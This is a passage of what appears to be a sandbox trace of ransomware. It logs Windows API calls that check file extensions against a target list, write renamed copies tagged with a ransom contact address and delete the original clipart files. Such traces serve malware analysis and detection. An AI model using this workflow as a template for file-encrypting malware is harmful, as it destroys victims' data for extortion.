(lpString=".xlsx") returned 5 [0131.572] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0131.572] lstrlenW (lpString=".ppt") returned 4 [0131.572] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.572] lstrlenW (lpString=".zip") returned 4 [0131.572] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.572] lstrlenW (lpString=".rar") returned 4 [0131.572] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.572] lstrlenW (lpString=".bz2") returned 4 [0131.573] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.573] lstrlenW (lpString=".7z") returned 3 [0131.573] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.573] lstrlenW (lpString=".dbf") returned 4 [0131.573] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.573] lstrlenW (lpString=".1cd") returned 4 [0131.573] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0131.573] lstrlenW (lpString=".jpg") returned 4 [0131.573] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0132.141] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.142] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.142] GetLastError () returned 0x0 [0132.142] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2340, lpOverlapped=0x0) returned 1 [0132.172] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2350, lpOverlapped=0x0) returned 1 [0132.173] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0132.173] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0132.173] SetEndOfFile (hFile=0x228) returned 1 [0132.173] CloseHandle (hObject=0x228) returned 1 [0132.173] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.173] SetEndOfFile (hFile=0x20c) returned 1 [0132.174] CloseHandle (hObject=0x20c) returned 1 [0132.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString=".doc") returned 4 [0132.175] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.175] lstrlenW (lpString=".docx") returned 5 [0132.175] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.175] lstrlenW (lpString=".pdf") returned 4 [0132.175] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.175] lstrlenW (lpString=".xls") returned 4 [0132.175] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.175] lstrlenW (lpString=".xlsx") returned 5 [0132.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.175] lstrlenW (lpString=".ppt") returned 4 [0132.175] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString=".zip") returned 4 [0132.175] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.175] lstrlenW (lpString=".rar") returned 4 [0132.175] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.175] lstrlenW (lpString=".bz2") returned 4 [0132.175] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.175] lstrlenW (lpString=".7z") returned 3 [0132.175] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString=".dbf") returned 4 [0132.175] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString=".1cd") returned 4 [0132.175] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0132.175] lstrlenW (lpString=".jpg") returned 4 [0132.175] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.181] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.181] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.181] GetLastError () returned 0x0 [0132.181] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xcb3, lpOverlapped=0x0) returned 1 [0132.490] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xcc0, lpOverlapped=0x0) returned 1 [0132.490] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0132.491] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0132.491] SetEndOfFile (hFile=0x228) returned 1 [0132.491] CloseHandle (hObject=0x228) returned 1 [0132.491] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.491] SetEndOfFile (hFile=0x20c) returned 1 [0132.492] CloseHandle (hObject=0x20c) returned 1 [0132.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0132.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.492] lstrlenW (lpString=".doc") returned 4 [0132.492] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.492] lstrlenW (lpString=".docx") returned 5 [0132.493] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.493] lstrlenW (lpString=".pdf") returned 4 [0132.493] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.493] lstrlenW (lpString=".xls") returned 4 [0132.493] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.493] lstrlenW (lpString=".xlsx") returned 5 [0132.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.493] lstrlenW (lpString=".ppt") returned 4 [0132.493] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.493] lstrlenW (lpString=".zip") returned 4 [0132.493] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.493] lstrlenW (lpString=".rar") returned 4 [0132.493] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.493] lstrlenW (lpString=".bz2") returned 4 [0132.493] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.493] lstrlenW (lpString=".7z") returned 3 [0132.493] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.493] lstrlenW (lpString=".dbf") returned 4 [0132.493] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.493] lstrlenW (lpString=".1cd") returned 4 [0132.493] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0132.493] lstrlenW (lpString=".jpg") returned 4 [0132.493] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.494] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.494] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.494] GetLastError () returned 0x0 [0132.494] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xc44, lpOverlapped=0x0) returned 1 [0132.858] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xc50, lpOverlapped=0x0) returned 1 [0132.859] ReadFile (in: hFile=0x20c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0132.859] WriteFile (in: hFile=0x228, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0132.859] SetEndOfFile (hFile=0x228) returned 1 [0132.860] CloseHandle (hObject=0x228) returned 1 [0132.860] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0132.860] SetEndOfFile (hFile=0x20c) returned 1 [0132.860] CloseHandle (hObject=0x20c) returned 1 [0132.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0132.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.861] lstrlenW (lpString=".doc") returned 4 [0132.861] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.861] lstrlenW (lpString=".docx") returned 5 [0132.861] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.861] lstrlenW (lpString=".pdf") returned 4 [0132.861] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.861] lstrlenW (lpString=".xls") returned 4 [0132.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.861] lstrlenW (lpString=".xlsx") returned 5 [0132.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.861] lstrlenW (lpString=".ppt") returned 4 [0132.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.861] lstrlenW (lpString=".zip") returned 4 [0132.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.861] lstrlenW (lpString=".rar") returned 4 [0132.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.861] lstrlenW (lpString=".bz2") returned 4 [0132.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.861] lstrlenW (lpString=".7z") returned 3 [0132.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.862] lstrlenW (lpString=".dbf") returned 4 [0132.862] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.862] lstrlenW (lpString=".1cd") returned 4 [0132.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0132.862] lstrlenW (lpString=".jpg") returned 4 [0132.862] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.228] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0133.228] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0133.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0133.228] GetLastError () returned 0x0 [0133.228] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xa24, lpOverlapped=0x0) returned 1 [0133.445] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xa30, lpOverlapped=0x0) returned 1 [0133.446] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0133.446] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0133.447] SetEndOfFile (hFile=0x1b0) returned 1 [0133.447] CloseHandle (hObject=0x1b0) returned 1 [0133.447] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0133.447] SetEndOfFile (hFile=0x220) returned 1 [0133.448] CloseHandle (hObject=0x220) returned 1 [0133.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0133.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.449] lstrlenW (lpString=".doc") returned 4 [0133.449] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.449] lstrlenW (lpString=".docx") returned 5 [0133.450] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.450] lstrlenW (lpString=".pdf") returned 4 [0133.450] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.450] lstrlenW (lpString=".xls") returned 4 [0133.450] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.450] lstrlenW (lpString=".xlsx") returned 5 [0133.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.450] lstrlenW (lpString=".ppt") returned 4 [0133.450] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.450] lstrlenW (lpString=".zip") returned 4 [0133.450] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.450] lstrlenW (lpString=".rar") returned 4 [0133.450] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.450] lstrlenW (lpString=".bz2") returned 4 [0133.450] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.450] lstrlenW (lpString=".7z") returned 3 [0133.450] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.450] lstrlenW (lpString=".dbf") returned 4 [0133.450] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.450] lstrlenW (lpString=".1cd") returned 4 [0133.450] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0133.450] lstrlenW (lpString=".jpg") returned 4 [0133.450] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0133.451] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0133.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0133.451] GetLastError () returned 0x0 [0133.451] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x135b, lpOverlapped=0x0) returned 1 [0133.948] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1360, lpOverlapped=0x0) returned 1 [0135.158] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0135.159] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0135.159] SetEndOfFile (hFile=0x1b0) returned 1 [0135.159] CloseHandle (hObject=0x1b0) returned 1 [0135.160] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.160] SetEndOfFile (hFile=0x220) returned 1 [0135.161] CloseHandle (hObject=0x220) returned 1 [0135.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.274] lstrlenW (lpString=".doc") returned 4 [0135.274] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.274] lstrlenW (lpString=".docx") returned 5 [0135.274] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.274] lstrlenW (lpString=".pdf") returned 4 [0135.274] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.274] lstrlenW (lpString=".xls") returned 4 [0135.274] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.274] lstrlenW (lpString=".xlsx") returned 5 [0135.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.274] lstrlenW (lpString=".ppt") returned 4 [0135.274] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.274] lstrlenW (lpString=".zip") returned 4 [0135.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.274] lstrlenW (lpString=".rar") returned 4 [0135.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.274] lstrlenW (lpString=".bz2") returned 4 [0135.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.275] lstrlenW (lpString=".7z") returned 3 [0135.275] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.275] lstrlenW (lpString=".dbf") returned 4 [0135.275] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.275] lstrlenW (lpString=".1cd") returned 4 [0135.275] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0135.275] lstrlenW (lpString=".jpg") returned 4 [0135.275] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.276] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.276] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0135.276] GetLastError () returned 0x0 [0135.276] ReadFile 